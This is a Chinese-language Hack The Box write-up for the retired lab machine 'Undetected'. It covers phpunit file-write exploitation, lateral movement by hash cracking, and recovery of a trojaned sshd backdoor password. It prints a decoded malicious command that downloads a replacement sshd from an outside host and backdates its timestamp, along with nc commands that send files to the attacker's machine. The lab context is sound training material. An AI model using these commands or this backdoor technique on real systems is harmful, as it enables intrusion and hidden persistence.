[HTB] Undetected Writeup
2023-6-15 09:0:58 Author: 一个人的安全笔记(查看原文) 阅读量:16 收藏

概述 (Overview)

HOST: 10.10.11.146

OS: LINUX

发布时间: 2022-02-20

完成时间: 2022-06-20

机器作者: TheCyberGeek[1]

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #ArbitraryFileWrite #BinaryAnalysis #CommandInjection #Backdoor

攻击链(Kiillchain)

使用 Nmap 对目标服务器开放端口进行扫描,在 Web 页面中找到二级域名并进行路径枚举。发现 phpunit 组件存在任意文件写入,利用该漏洞成功获得目标服务器立足点。随后通过文件搜索发现可疑的进程 dump 文件,从中提取出密码哈希并进行明文密码枚举,成功完成账号的横向移动。通过查看用户的邮箱详情内容,排查 apache 服务在组件 Model 中发现可疑的 bash 命令。进一步分析 bash 命令得到存在 sshd 服务后门二进制文件。最终结合逆向分析得到后门 ssh 登录密码,完成权限提升。

枚举(Enumeration)

开始依然是使用 Nmap 工具,扫描目标系统开放端口。

22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
|   3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
|   256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_  256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Diana\'s Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)

从结果中获悉目标服务器是 Ubuntu,对外暴漏的端口仅有两个,看来又是一台 Web 漏洞的 VulBox。

Port 80 - HTTP

浏览器访问目标服务器 Web 服务,可以得到一个购物网站。

550

简单浏览器下页面内容,能够得到一个维护公告,看来需要找找别的路径。

NOTICE
Due to a website migration we are currently not taking any online orders. Contact us if you wish to make a purchase

注意
由于网站迁移,我们目前不接受任何在线订单。 如果您想购买,请联系我们

立足点(Foothold)

通过查看下页面源代码能够得到一个二级站点的域名,直接加入到 hosts 文件里进行访问即可。

在此期间,使用 Gobuster 工具对子域名、子路径分别进行了枚举,能够 store 站点下的 ./vendor 路径中得到站点使用的组件信息。

开始逐个检查组件服务,搜索是否存在可以利用的脆弱性漏洞,成功找到了 phpunit 存在任意文件写入漏洞。

https://blog.ovhcloud.com/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/

参考文章内容,直接发送漏洞 payload 数据包生成自定义的 Webshell:

利用这个 Webshell ,成功拿到目标服务器的立足点。

横向移动(Lateral Movement)

检查服务器可登录 User,发现存在一个 steven 用户,接着开始进行用户横向移动。

ls -la /home
total 12
drwxr-xr-x  3 root   root   4096 Feb  8 19:59 .
drwxr-xr-x 19 root   root   4096 Feb  8 19:59 ..
drwxr-x---  5 steven steven 4096 Feb  8 19:59 steven

cat /etc/passwd
...snip...
root:x:0:0:root:/root:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
...snip...

使用 wget 命令将 linpeas 脚本传递到目标服务器,运行脚本进行环境脆弱性枚举。让后将结果通过 nc 进行简单的文件传递,回传到 Kali 服务器。

接收方-->>>>> kali# nc -lnp 9091 > linpeas.txt

发送方-->>>>> Undetected$ nc -w 5 10.10.17.64 9091 < linpeas.txt

发现在 /var/backups 目录中存在一个可疑的文件,查看文件内容像是一段进程 dump 详情。其中一段 /bin/bash 执行内容引起了我的注意。

CyberChef[2]

将内容复制到 CyberChef 工具中进行编码转换,得到一段创建账号的命令。

将命令中的密码哈希单独复制出来,通过 john 工具进行明文字典枚举,成功得到明文。

$ john --wordlist=/usr/share/wordlists/rockyou.txt --rules ./1000.hash
ihatehackers

$ sshpass -p 'ihatehackers' ssh [email protected]

随后通过该明文密码成功 ssh 登录,获得 steven1 用户交互 shell。

权限提升(Privilege Escalation)

通过当前身份重新运行 linpeas 脚本,进行环境脆弱性分析得到两个可能利用的 CVE 漏洞。

检查了服务器环境,发现没有 GCC、Make 等命令。尝试通过本地运行 Docker,生成对应目标服务器环境的 exploit 二进制文件,传递到目标服务器执行都失败了。

尝试查看其他信息,发现目标服务器文件中存在邮箱详情。

邮件说在 Apache 服务中存在一些奇怪的行为,顺着这一线索去检查 Apache 配置文件、Web 站点目录及组件库。

[email protected]:/usr/lib/apache2/modules$ ls -tlr | head
total 8772
-rw-r--r-- 1 root root   34800 May 17  2021 mod_reader.so
-rw-r--r-- 1 root root 4625776 Nov 25  2021 libphp7.4.so
-rw-r--r-- 1 root root   26832 Jan  5 14:49 mod_xml2enc.so
-rw-r--r-- 1 root root   14544 Jan  5 14:49 mod_vhost_alias.so
-rw-r--r-- 1 root root   14544 Jan  5 14:49 mod_usertrack.so
-rw-r--r-- 1 root root   14544 Jan  5 14:49 mod_userdir.so
-rw-r--r-- 1 root root   14464 Jan  5 14:49 mod_unique_id.so
-rw-r--r-- 1 root root   14544 Jan  5 14:49 mod_suexec.so
-rw-r--r-- 1 root root   26832 Jan  5 14:49 mod_substitute.so

-t, --sort=time
      # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件靠前。
-l, --format=long, --format=verbose
      # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte)
      # 、及时间信息(如未指明是其它时间即指修改时间)。
-r     # 逆序排列。

通过排序近期文件修改时间,发现 mod_reader.so 文件存在可疑。将其传递至 kali 进行分析,这里我用的是 hexyl 工具,比 xxd 的优点就是可以高亮显示。

hexyl - https://github.com/sharkdp/hexyl

简单查看下,发现里面存在一段 bash 命令执行命令。

使用 base64 对其解密可以得到原始命令:

echo 'd2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk' | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

可以看到,从远端下载了一个新的 sshd 二进制文件,替换了目标服务器上的 sshd。所以继续将 /usr/sbin/sshd 文件传递到 kali,进行本地分析。

这里出现了一个有意思的东西,我分别使用 Cutter、IDA、Ghidra 进行分析,里面都有一个 auth_password 的后门方法,但它们生成的伪代码都不一样,后门密码比对生成的 char 编码也不一致,人都给看麻了。

这里我最终提取的 Ghidra 的伪代码段,它对 char 的还原比较直观。

  backdoor._28_2_ = 0xa9f4;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = 0xa5;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;

这里说明下,在之前的伪代码段中 backdoor 是 char 类型的数组,长度为 31。下标从 0 开始,所以我们要对 backdoor.0_4 至 backdoor[30] 进行排序。注意,最后还有一个对 char 进行异或的运算(^0x96)。

这里我还是使用 CyberChef 工具来完成字符串处理:

pass=>> @=qfe5%2^[email protected]%[email protected]%[email protected]$u#f*b?3

得到最终的后门密码,直接进行 ssh 登录就可以了。

引用链接

[1] TheCyberGeek: https://app.hackthebox.com/users/114053
[2] CyberChef: http://chef.jgeek.cn/


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490811&idx=1&sn=8b8f828d22d22febe47641b4b0c33b7b&chksm=8c9458ecbbe3d1fa7df96df6b27de270f01aaec77444560a0356c8b324bcdd0f9dedb38c20d6#rd
如有侵权请联系:admin#unsafe.sh